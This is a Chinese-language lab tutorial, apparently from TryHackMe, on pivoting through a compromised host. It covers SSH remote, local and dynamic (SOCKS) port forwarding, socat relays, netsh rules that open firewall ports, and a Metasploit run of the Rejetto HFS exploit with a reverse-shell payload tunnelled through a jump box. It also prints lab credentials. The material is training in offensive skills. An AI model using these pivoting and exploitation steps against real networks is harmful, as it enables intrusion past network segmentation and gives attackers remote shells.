我们提出的大多数横向移动技术都需要特定端口可供攻击者使用。在现实网络中,管理员可能出于安全原因阻止了其中一些端口,或者在网络周围实施了分段,从而阻止您访问 SMB、RDP、WinRM 或 RPC 端口。 为了绕过这些限制,我们可以使用端口转发技术,其中包括使用任何受感染的主机作为跳转盒来转向其他主机。预计某些机器将比其他机器拥有更多的网络权限,因为企业中的每个角色在日常工作所需的网络服务方面都有不同的需求。

(1)SSH 隧道

我们要研究的第一个协议是 SSH,因为它已经具有通过称为 SSH 隧道的功能进行端口转发的内置功能。虽然 SSH 曾经是与 Linux 系统相关的协议,但 Windows 现在默认附带 OpenSSH 客户端,因此您可以在当今的许多系统中找到它,而与操作系统无关。 SSH 隧道可以以不同的方式使用,通过 SSH 连接转发端口,我们将根据情况使用它。为了解释每种情况,我们假设一个场景,我们已经获得了对 PC-1 机器的控制权(不需要管理员访问权限),并且希望将其用作访问另一台机器上的端口的枢纽。我们无法直接连接。我们将启动一条从 PC-1 计算机(充当 SSH 客户端)到攻击者 PC(充当 SSH 服务器)的隧道。这样做的原因是,您经常会在 Windows 计算机上找到 SSH 客户端,但大多数时候没有可用的 SSH 服务器。

SSH tunnel

由于我们将连接回攻击者的计算机,因此我们希望在其中创建一个用户,而无需访问任何隧道控制台,并设置用于创建隧道的密码:

useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser

根据您的需要,SSH 隧道可用于执行本地或远程端口转发。让我们看一下每个案例。

(2)SSH 远程端口转发

在我们的示例中,假设防火墙策略阻止攻击者的计算机直接访问服务器上的端口 3389。如果攻击者之前已入侵 PC-1,并且 PC-1 可以访问服务器的端口 3389,则可以使用 PC-1 的远程端口转发将其转移到端口 3389。远程端口转发允许您从 SSH 客户端(在本例中为 PC-1)获取可访问的端口,并将其投射到远程 SSH 服务器(攻击者的计算机)中。 结果,攻击者的计算机上将打开一个端口,可用于通过 SSH 隧道连接回服务器中的端口 3389。反过来,PC-1 将代理连接,以便服务器将看到所有流量,就好像它来自 PC-1 一样:

SSH remote port forwarding

此时可能会出现的一个有效问题是,如果我们已经破坏了 PC-1 并且可以直接从那里运行 RDP 会话,为什么我们需要端口转发。答案很简单:在我们只能通过控制台访问 PC-1 的情况下,我们将无法使用任何 RDP 客户端,因为我们没有 GUI。通过使攻击者的计算机可以使用该端口,您可以使用 Linux RDP 客户端进行连接。当您想要针对无法直接访问的端口运行漏洞利用时,会出现类似的情况,因为您的漏洞利用可能需要特定的脚本语言,而这种语言可能并不总是在您妥协的计算机上可用。 参考上图,要将服务器上的端口 3389 转发回攻击者的计算机,我们可以在 PC-1 上使用以下命令:

C:\> ssh [email protected] -R 3389:3.3.3.3:3389 -N

这将使用tunneluser 用户建立从PC-1 到1.1.1.1(攻击者PC)的SSH 会话。 由于不允许隧道用户在攻击者 PC 上运行 shell,因此我们需要使用 -N 开关运行 ssh 命令以防止客户端请求 shell,否则连接将立即退出。 -R 开关用于请求远程端口转发,语法要求我们首先指示我们将在 SSH 服务器上打开的端口 (3389),后跟一个冒号,然后是我们的套接字的 IP 和端口将转发 (3.3.3.3:3389)。请注意,端口号不需要匹配,但在本示例中需要匹配。 命令本身不会输出任何内容,但隧道将取决于要运行的命令。无论何时,我们都可以像使用任何其他命令一样按 CTRL+C 来关闭隧道。 一旦我们的隧道设置并运行,我们就可以访问攻击者的计算机并通过 RDP 进入转发端口来到达服务器:

munra@attacker-pc$ xfreerdp /v:127.0.0.1 /u:MyUser /p:MyPassword

(3)SSH 本地端口转发

本地端口转发允许我们将端口从 SSH 服务器“拉”到 SSH 客户端。在我们的场景中,这可用于获取攻击者计算机中可用的任何服务,并通过 PC-1 上的端口使其可用。这样,任何无法直接连接到攻击者 PC 但可以连接到 PC-1 的主机现在都可以通过枢轴主机访问攻击者的服务。 使用这种类型的端口转发将允许我们从通常无法连接回我们的主机运行反向 shell,或者只是向与我们没有直接连接的计算机提供我们想要的任何服务。

SSH Local Port Forwarding

要从攻击者的计算机转发端口 80 并使其可从 PC-1 访问,我们可以在 PC-1 上运行以下命令:

C:\> ssh [email protected] -L *:80:127.0.0.1:80 -N

该命令结构与远程端口转发中使用的命令结构类似,但使用 -L 选项进行本地端口转发。此选项要求我们指示 PC-1 用于接收连接的本地套接字 (*:80) 以及从攻击者的 PC 角度连接的远程套接字 (127.0.0.1:80)。 请注意,我们在第二个套接字中使用 IP 地址 127.0.0.1,从攻击者的 PC 角度来看,这是持有要转发的端口 80 的主机。 由于我们在 PC-1 上打开一个新端口,因此我们可能需要添加防火墙规则以允许传入连接(使用 dir=in)。为此需要管理权限:

netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80

设置隧道后,任何用户将其浏览器指向 http://2.2.2.2:80 的 PC-1 并查看攻击者计算机发布的网站。

(4)使用 socat 进行端口转发

在 SSH 不可用的情况下,socat 可用于执行类似的功能。虽然不如 SSH 灵活,但 socat 允许您以更简单的方式转发端口。使用 socat 的缺点之一是我们需要将其传输到枢轴主机(在我们当前的示例中为 PC-1),使其比 SSH 更容易被检测到,但在没有其他选项可用的情况下可能值得一试。 使用 socat 执行端口转发的基本语法要简单得多。如果我们想打开主机上的端口 1234 并将我们收到的任何连接转发到主机 1.1.1.1 上的端口 4321,您将使用以下命令:

socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321

fork 选项允许 socat 为收到的每个连接创建一个新进程,从而可以在不关闭的情况下处理多个连接。如果不包含它,socat 将在第一个连接完成时关闭。 回到我们的示例,如果我们想像使用 SSH 远程端口转发一样使用 PC-1 作为枢纽来访问服务器上的端口 3389,我们可以使用以下命令:

C:\>socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389

请注意,socat 无法像 SSH 那样将连接直接转发到攻击者的计算机,但会在 PC-1 上打开一个端口,攻击者的计算机随后可以连接到该端口:

SOCAT port forwarding 1

像往常一样,由于在枢轴主机上打开了一个端口,我们可能需要创建一个防火墙规则以允许到该端口的任何连接:

netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389

另一方面,如果我们想从攻击者的机器公开端口 80,以便服务器可以访问它,我们只需要稍微调整一下命令:

C:\>socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80

结果,PC-1 将生成端口 80 并侦听要转发到攻击者计算机上的端口 80 的连接:

SOCAT port forwarding 2

(5)动态端口转发和 SOCKS

虽然单端口转发对于需要访问特定套接字的任务非常有效,但有时我们可能需要通过枢轴主机对主机的许多端口甚至跨多台计算机的许多端口运行扫描。在这些情况下,动态端口转发允许我们通过主机进行旋转,并使用 SOCKS 代理与我们想要的任何 IP 地址/端口建立多个连接。 由于我们不想依赖目标网络中 Windows 计算机上现有的 SSH 服务器,因此我们通常会使用 SSH 客户端通过以下命令建立反向动态端口转发:

C:\> ssh [email protected] -R 9050 -N

在这种情况下,SSH 服务器将在端口 9050 上启动 SOCKS 代理,并通过 SSH 隧道转发任何连接请求,最终由 SSH 客户端代理。 最有趣的部分是,我们可以使用代理链通过 SOCKS 代理轻松使用我们的任何工具。为此,我们首先需要确保 proxychains 正确配置为将任何连接指向 SOCKS 代理服务器的 SSH 使用的同一端口。 proxychains 配置文件可以在 AttackBox 上的 /etc/proxychains.conf 中找到。如果我们向下滚动到配置文件的末尾,我们应该看到一行指示用于袜子代理的端口:

[ProxyList]
socks4 127.0.0.1 9050

默认端口是 9050,但是只要与我们建立 SSH 隧道时使用的端口匹配,任何端口都可以工作。 如果我们现在想通过代理执行任何命令,我们可以使用代理链:

proxychains curl http://pxeboot.za.tryhackme.com

请注意,某些软件(例如 nmap)在某些情况下可能无法与 SOCKS 很好地配合,并且可能显示不同的结果,因此您的情况可能会有所不同。

Let’s Get to Work!

注意:由于您将使用tunneluser 来执行从实验室网络到攻击者计算机的SSH 连接,因此我们强烈建议您使用Attackbox 或VM 而不是您的实际计算机。已给出有关创建不允许通过 SSH/SCP 运行命令或传输文件的用户的说明,因此请务必按照提供的说明进行操作。还建议为隧道用户创建一个强密码,并确保它是唯一且可丢弃的密码,而不是您在此或任何其他平台中的实际密码。 要完成此练习,您需要使用在任务 1 中从 http://distributor.za.tryhackme.com/creds 分配给您的凭据连接到 THMJMP2。如果您还没有这样做,请单击链接并立即获取凭据。获得凭据后,通过 SSH 连接到 THMJMP2:

ssh za\[email protected]

我们的第一个目标是通过 RDP 连接到 THMIIS。如果我们尝试直接从攻击者计算机进行连接,我们会发现端口 3389 已通过防火墙过滤,因此无法直接使用。但是,该端口已启动并正在运行,但只能从 THMJMP2 访问。通过使用 THMJMP2 上的 C:\tools\socat\ 上的 socat,我们将转发 RDP 端口,使其在 THMJMP2 上可用于从攻击者的计算机进行连接。 为此,我们将使用以下参数运行 socat:

C:\tools\socat\>socat TCP4-LISTEN:13389,fork TCP4:THMIIS.za.tryhackme.com:3389

请注意,我们不能将端口 3389 用于侦听器,因为它已在 THMJMP2 中用于其自己的 RDP 服务。请随意将侦听器端口 (13389) 更改为其他号码,以避免与其他学生发生冲突。在典型设置中,您必须添加防火墙规则以允许流量通过侦听器端口,但为了方便起见,THMJMP2 已禁用其防火墙。 设置侦听器后,您应该能够通过 THMJMP2 处的 socat 侦听器通过 RDP 从攻击者计算机连接到 THMIIS:

user@AttackBox$ xfreerdp /v:THMJMP2.za.tryhackme.com:13389 /u:t1_thomas.moore /p:MyPazzw3rd2020

连接后,您应该会从 THMIIS 上的 t1_thomas.moore 桌面上获得一个标志。

(6)隧道复杂漏洞

THMDC 服务器正在运行 Rejetto HFS 的易受攻击版本。我们面临的问题是防火墙规则限制对易受攻击的端口的访问,因此只能从 THMJMP2 进行查看。此外,来自 THMDC 的出站连接仅允许其本地网络中的计算机进行,因此无法直接接收到攻击者计算机的反向 shell。更糟糕的是,Rejetto HFS 漏洞要求攻击者托管 HTTP 服务器来触发最终有效负载,但由于攻击者的计算机不允许出站连接,因此我们需要找到一种方法来托管 Web 服务器之一同一网络中的其他机器,这一点也不方便。我们可以使用端口转发来克服所有这些问题。 首先,让我们看看该漏洞利用程序是如何工作的。首先,它将连接到 HFS 端口(Metasploit 中的 RPORT)以触发第二个连接。第二个连接将针对 SRVPORT 上的攻击者计算机进行,其中 Web 服务器将提供最终的有效负载。最后,攻击者的有效负载将在 LPORT 上执行并向攻击者发送回反向 shell:

HFS exploit

考虑到这一点,我们可以使用 SSH 将某些端口从攻击者的计算机转发到 THMJMP2(用于 Web 服务器的 SRVPORT 和用于接收反向 shell 的 LPORT),并通过 THMJMP2 到达 THMDC 上的 RPORT。我们需要在两个方向上进行三个端口转发,以便所有漏洞利用的交互都可以通过 THMJMP2 进行代理:

HFS Forwarded exploit

Rejetto HFS 将侦听 THMDC 上的端口 80,因此我们需要使用远程端口转发通过 THMJMP2 将该端口隧道传回攻击者的计算机。由于攻击盒的 80 端口已被其他服务占用,因此我们需要将 THMDC 上的端口 80 与攻击盒当前未使用的某个端口链接起来。让我们使用端口 8888。在 THMJMP2 中运行 ssh 来转发此端口时,我们必须将 -R 8888:thmdc.za.tryhackme.com:80 添加到我们的命令中。 对于SRVPORT和LPORT,我们随意选择两个随机端口。出于演示目的,我们将设置 SRVPORT=6666 和 LPORT=7878,但请务必使用不同的端口,因为实验室与其他学生共享,因此,如果你们两个选择相同的端口,则在尝试转发它们时,您将将收到一条错误消息,指出该端口已在 THMJMP2 上使用。 要将此类端口从攻击者计算机转发到 THMJMP2,我们将通过在 ssh 命令中添加 -L *:6666:127.0.0.1:6666 和 -L *:7878:127.0.0.1:7878 来使用本地端口转发。这将绑定 THMJMP2 上的两个端口,并将任何连接隧道返回到我们的攻击者计算机。 将整个命令放在一起,我们最终会得到以下结果:

C:\> ssh [email protected] -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878 -N

注意:如果您使用 AttackBox 并且之前加入过其他网络房间,请务必选择分配给面向横向移动和枢转网络的隧道接口的 IP 地址作为您的 ATTACKER_IP,否则您的反向 shell/连接将无法正常工作。为了方便起见,连接到该网络的接口称为横向移动,因此您应该能够通过运行 ip add show横向移动来获取正确的 IP 地址:

img

一旦所有端口转发到位,我们就可以启动 Metasploit 并配置漏洞利用程序,以便所需的端口与我们通过 THMJMP2 转发的端口相匹配:

user@AttackBox$ msfconsole
msf6 > use rejetto_hfs_exec
msf6 exploit(windows/http/rejetto_hfs_exec) > set payload windows/shell_reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > set lhost thmjmp2.za.tryhackme.com
msf6 exploit(windows/http/rejetto_hfs_exec) > set ReverseListenerBindAddress 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set lport 7878
msf6 exploit(windows/http/rejetto_hfs_exec) > set srvhost 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set srvport 6666
msf6 exploit(windows/http/rejetto_hfs_exec) > set rhosts 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set rport 8888
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

这里有很多东西需要解压:

  • LHOST参数通常有两个用途:作为攻击者机器上绑定监听器的IP,用于接收反向shell;它还嵌入在有效负载中,以便受害者知道在触发漏洞时从哪里进行连接。在我们的特定场景中,由于 THMDC 无法联系到我们,因此我们需要强制有效负载连接回 THMJMP2,但我们需要侦听器绑定到 127.0.0.1 上的攻击者计算机。为此,Metasploit 提供了一个可选参数 ReverseListenerBindAddress,可用于指定攻击者机器上侦听器的绑定地址,与有效负载将连接回的地址分开。在我们的示例中,我们希望将反向 shell 侦听器绑定到攻击者计算机上的 127.0.0.1,并将有效负载连接回 THMJMP2(因为它将通过 SSH 隧道转发到攻击者计算机)。
  • 我们的漏洞还必须运行一个 Web 服务器来托管并将最终有效负载发送回受害者服务器。我们使用 SRVHOST 来指示监听地址,在本例中为 127.0.0.1,以便攻击者机器将 Web 服务器绑定到 localhost。虽然这可能违反直觉,因为没有外部主机能够指向攻击者的计算机本地主机,但 SSH 隧道将负责将 SRVPORT 处 THMJMP2 上收到的任何连接转发回攻击者的计算机。
  • RHOSTS 设置为指向 127.0.0.1,因为 SSH 隧道将通过使用 THMJMP2 建立的 SSH 隧道将请求转发到 THMDC。 RPORT 设置为 8888,因为发送到攻击者计算机上该端口的任何连接都将转发到 THMDC 上的端口 80。

启动该漏洞后,您将在攻击者的计算机上收到一个 shell。您将在 C:\hfs\flag.txt 上找到一个标志。

留言

您的邮箱地址不会被公开。 必填项已用 * 标注